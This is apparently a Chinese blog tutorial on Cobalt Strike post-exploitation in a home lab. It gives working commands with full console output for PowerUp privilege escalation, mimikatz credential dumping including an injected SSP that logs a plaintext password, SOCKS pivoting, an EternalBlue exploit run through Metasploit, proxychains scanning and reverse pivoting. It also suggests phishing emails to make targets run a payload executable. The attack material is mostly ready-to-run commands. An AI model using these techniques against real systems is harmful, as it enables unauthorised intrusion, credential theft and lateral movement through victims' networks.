利用 PowerUp 进行提权需要首先导入 ps1 文件powershell-import PowerUp.ps1
,再执行powershell Invoke-AllChecks
命令,使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
其中
PowerUp.ps1
文件可从这里下载:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
PowerUp 的使用
执行以下命令:将 ps1 文件上传到目标主机,并执行所有弱点检查。
powershell-import PowerUp.ps1
powershell invoke-allchecks
详细运行过程:
beacon> powershell-import PowerUp.ps1
[*] Tasked beacon to import: PowerUp.ps1
[+] host called home, sent: 275084 bytes
beacon> powershell invoke-allchecks
[*] Tasked beacon to run: invoke-allchecks
[+] host called home, sent: 313 bytes
[+] received output:
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...
[*] Checking service executable and argument permissions...
[+] received output:
ServiceName : AeLookupSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs
ModifiableFile : C:\Windows\system32
ModifiableFilePermissions : GenericAll
ModifiableFileIdentityReference : BUILTIN\Administrators
StartName : localSystem
AbuseFunction : Install-ServiceBinary -Name 'AeLookupSvc'
CanRestart : True
……内容太多,此处省略……
[*] Checking service permissions...
[+] received output:
ServiceName : AeLookupSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs
StartName : localSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'AeLookupSvc'
CanRestart : True
……内容太多,此处省略……
[*] Checking %PATH% for potentially hijackable DLL locations...
[+] received output:
Permissions : GenericAll
ModifiablePath : C:\Windows\system32\WindowsPowerShell\v1.0\
IdentityReference : BUILTIN\Administrators
%PATH% : %SystemRoot%\system32\WindowsPowerShell\v1.0\
AbuseFunction : Write-HijackDll -DllPath 'C:\Windows\system32\WindowsPowerS
hell\v1.0\\wlbsctrl.dll'
……内容太多,此处省略……
[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...
[*] Checking for modifidable registry autoruns and configs...
[+] received output:
Key : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VMware Use
r Process
Path : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files
\VMware\VMware Tools\vmtoolsd.exe; IdentityReference=BUILTIN\A
dministrators}
……内容太多,此处省略……
[*] Checking for modifiable schtask files/configs...
[+] received output:
TaskName : GoogleUpdateTaskMachineCore
TaskFilePath : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files (
x86)\Google\Update\GoogleUpdate.exe; IdentityReference=BUILTIN\A
dministrators}
TaskTrigger : <Triggers xmlns="http://schemas.microsoft.com/windows/2004/02/mi
t/task"><LogonTrigger><Enabled>true</Enabled></LogonTrigger><Cal
endarTrigger><StartBoundary>2020-04-11T21:47:44</StartBoundary><
ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay></Ca
lendarTrigger></Triggers>
……内容太多,此处省略……
[*] Checking for unattended install files...
UnattendPath : C:\Windows\Panther\Unattend.xml
[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
[+] received output:
[*] Checking for cached Group Policy Preferences .xml files....
[+] received output:
如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。
这时为了复现成功可以来到靶机下,以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned
,输入Y
回车,此时系统便能导入PowerUp.ps1
文件了。
PS C:\WINDOWS\system32> set-ExecutionPolicy RemoteSigned
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): Y
PS C:\WINDOWS\system32>
在运行Invoke-AllChecks
后,便会列出当前系统中可被提权的弱点之处,之后再执行检查结果中AbuseFunction
下的命令便能开始提权操作了。
但是我在自己本地环境中并未复现成功,执行AbuseFunction
后的命令只能创建一个与当前登录用户相同权限的账户,没能达到提权的目的。
凭证和哈希获取
想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes
,或者在控制台中使用hashdump
命令。
想获取当前用户的密码,可以运行mimikatz
,右击管理员权限会话选择Access --> Run Mimikatz
,或在控制台运行logonpasswords
命令。
在View --> Credentials
下可以查看到hashdump
与mimikatz
获取的数据。
Beacon 中的 Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:
mimikatz [module::command] <args>
运行 mimikatz 命令mimikatz [!module::command] <args>
强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行。mimikatz [@module::command] <args>
使用当前 Beacon 的访问令牌运行 mimikatz 命令
下面是一些mimikatz
命令。
!lsadump::cache
获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希!lsadump::sam
获取本地账户密码哈希,该命令与 hashdump 比较类似misc::cmd
如果注册表中禁用了 CMD ,就重新启用它!misc::memssp
注入恶意的 Windows SSP 来记录本地身份验证凭据,这个凭证存储在“C:\windows\system32\mimilsa.log”中misc::skeleton
该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。process::suspend [pid]
挂起某个进程,但是不结束它process::resume [pid]
恢复挂起的进程
以上的这些只是mimikatz
能做事情的一小部分,下面看看!misc::memssp
的使用。
mimikatz !misc::memssp
cd C:\Windows\system32
shell dir mimilsa.log
shell type mimilsa.log
详细运行过程:
首先运行mimikatz !misc::memssp
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz's !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)
接下来来到C:\Windows\system32
目录
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes
beacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 BE29-9C84
C:\Windows\system32 的目录
2020/07/23 21:47 24 mimilsa.log
1 个文件 24 字节
0 个目录 17,394,728,960 可用字节
可以看到是存在mimilsa.log
文件的,此时待目标主机重新登录,比如电脑锁屏后用户进行登录。
查看mimilsa.log
文件内容。
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!
成功获取到当前登录用户的明文密码。
六、横向扩展
待更……
七、转发
SOCKS 代理转发
在进行转发操作之前,需要将当前会话改为交互模式,也就是说输入命令就被执行,执行 sleep 0
即为交互模式。
Socks
在当前 beacon 上可以右击选择 Pivoting --> SOCKS Server
设置一个 Socks4a 代理服务
或者使用命令 socks [port]
进行设置
使用命令 socks stop
关闭 Socks 代理服务
在 View --> Proxy Pivots
中可以看到已经创建的代理服务
Metasploit 连接到 Socks 代理服务
- CS 中创建好代理后,在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信
setg Proxies socks4:127.0.0.1:[port]
setg ReverseAllowProxy true
如果感觉上面命令比较长,还可以在 Proxy Pivots
界面中点击 Tunnel
按钮查看命令。
- 运行以下命令来停止
unsetg Proxies
setg 命令和 unsetg 表示在 metasploit 中全局有效,不用在每次选择模块后再重新设置。
演示
环境说明:
攻击机 IP:192.168.175.200
上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133
攻击目标:192.168.232.0/24 地址段
当前已经上线了一个 IP 为 192.168.175.130 主机,通过 ipconfig 发现,该主机也在 192.168.232.0/24 地址段内。
但当前攻击机无法访问 232 的地址段,因此如果想对 232 段内的主机发起攻击,就可以采用将 192.168.175.130 作为跳板机访问的方式。
1、设置 socks 代理
开启交互模式
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
开启 socks 代理
beacon> socks 9527
[+] started SOCKS4a server on: 9527
[+] host called home, sent: 16 bytes
以上操作也可以通过图形化的方式进行。
2、Metasploit 中进行设置
开启 Metasploit 后,运行 setg 命令
msf5 > setg Proxies socks4:192.168.175.200:9527
Proxies => socks4:192.168.175.200:9527
3、扫描 192.168.232.0/24 地址段中的 445 端口
这里作为演示,只扫描一下 445 端口
msf5 > use auxiliary/scanner/smb/smb_version msf5
auxiliary(scanner/smb/smb_version) > set rhost 192.168.232.0/24
rhost => 192.168.232.0/24
msf5 auxiliary(scanner/smb/smb_version) > set threads 64
threads => 64
msf5 auxiliary(scanner/smb/smb_version) > exploit
use auxiliary/scanner/smb/smb_version
[*] 192.168.232.0/24:445 - Scanned 44 of 256 hosts (17% complete)
[*] 192.168.232.0/24:445 - Scanned 64 of 256 hosts (25% complete)
[*] 192.168.232.0/24:445 - Scanned 110 of 256 hosts (42% complete)
[*] 192.168.232.0/24:445 - Scanned 111 of 256 hosts (43% complete)
[*] 192.168.232.0/24:445 - Scanned 128 of 256 hosts (50% complete)
[+] 192.168.232.133:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WINTEST) (domain:TEAMSSIX) (signatures:optional)
[+] 192.168.232.132:445 - Host is running Windows 2008 HPC SP1 (build:7601) (name:WINDC) (domain:TEAMSSIX) (signatures:required)
[*] 192.168.232.0/24:445 - Scanned 165 of 256 hosts (64% complete)
[*] 192.168.232.0/24:445 - Scanned 184 of 256 hosts (71% complete)
[*] 192.168.232.0/24:445 - Scanned 220 of 256 hosts (85% complete)
[*] 192.168.232.0/24:445 - Scanned 249 of 256 hosts (97% complete)
[*] 192.168.232.0/24:445 - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
4、发现利用
通过扫描发现在 192.168.232.0/24 地址段内,除了已经上线的 133
主机外,还有 132
主机也开放了 445 端口,且该主机为 Windows 2008 的操作系统,这里使用永恒之蓝作为演示。
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.232.132
rhosts => 192.168.232.132
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp msf5
exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] 192.168.232.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.232.132:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 HPC Edition 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.232.132:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.232.132:445 - Connecting to target for exploitation.
[+] 192.168.232.132:445 - Connection established for exploitation.
[+] 192.168.232.132:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.232.132:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.232.132:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.232.132:445 - 0x00000010 30 30 38 20 48 50 43 20 45 64 69 74 69 6f 6e 20 008 HPC Edition
[*] 192.168.232.132:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 192.168.232.132:445 - 0x00000030 6b 20 31 k 1
[+] 192.168.232.132:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.232.132:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.232.132:445 - Sending all but last fragment of exploit packet
[*] 192.168.232.132:445 - Starting non-paged pool grooming
[+] 192.168.232.132:445 - Sending SMBv2 buffers
[+] 192.168.232.132:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.232.132:445 - Sending final SMBv2 buffers.
[*] 192.168.232.132:445 - Sending last fragment of exploit packet!
[*] 192.168.232.132:445 - Receiving response from exploit packet
[+] 192.168.232.132:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.232.132:445 - Sending egg to corrupted connection.
[*] 192.168.232.132:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.232.132:4444
[*] Sending stage (201283 bytes) to 192.168.232.132
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.175.200:9527) at 2020-09-01 22:13:57 -0400
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.232.132:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > ipconfig
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:d3:6c:3d
MTU : 1500
IPv4 Address : 192.168.232.132
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a1ac:3035:cbdf:4872
IPv6 Netmask : ffff:ffff:ffff:ffff::
使用 ProxyChains 进行代理转发
使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理
- 开启一个 socks 代理服务
- 配置
/etc/proxychains.conf
文件 - 运行
proxychains + 待执行命令
演示
演示环境:
攻击机 IP:192.168.175.200
上线主机:外部IP 192.168.175.130、内部IP 192.168.232.133
攻击目标:192.168.232.0/24 地址段
1、设置 socks 代理
首先开启交互模式,之后开启 socks 代理
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> socks 9527
[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 9527
2、配置 ProxyChains
在攻击机上,配置 /etc/proxychains.conf
文件的最后一行,根据当前攻击主机 IP 与设置的 Socks 端口,修改如下:
socks4 192.168.175.200 9527
3、开始使用 ProxyChains
根据上一节使用 Metasploit 的扫描可以知道,在 192.168.232.0/24 地址段中存在主机 192.168.232.132 ,接下来使用 nmap 扫描一下常见的端口,这里以 80,443,445,3389 作为演示。
proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389
-sT:使用 TCP 扫描
-Pn:不使用 Ping
-p:指定扫描端口
注:不加上 -sT -Pn 参数,将无法使用 proxychains 进行代理扫描
> proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 23:05 EDT
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:445 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:3389 ... OK
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:443 <--denied
Nmap scan report for 192.168.232.132
Host is up (0.19s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp closed https
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds
通过扫描可以看到目标 80 端口是开放的,接下来使用 curl 作为对比示例。
> curl 192.168.232.132
curl: (7) Failed to connect to 192.168.232.132 port 80: No route to host
> proxychains curl 192.168.232.132
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
……内容太多,此处省略……
反向转发
反向转发顾名思义就是和上一节中提到的转发路径相反,之前我们设置的代理是 CS服务端 --> 上线主机 --> 内网主机
,反向转发则是 内网主机 --> 上线主机 --> CS服务端
。
继续使用上面的演示环境,首先右击上线主机会话,选择 Pivoting --> Listener
,除了 Name 选项之外,CS 都会自动配置好,这里直接使用默认的配置信息。
之后生成一个 Windows 可执行文件,选择上一步生成的监听器,如果目标是 64 位则勾选使用 x64 Payload 的选项。
之后将该可执行文件在目标主机上执行即可,在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。
当目标执行该文件后,就会发现当前不出网的 192.168.232.132 主机已经上线了。
通过 SSH 开通通道
待更……
八、Malleable C2
待更……
九、免杀
待更……
求更求更,博主写的真好
tql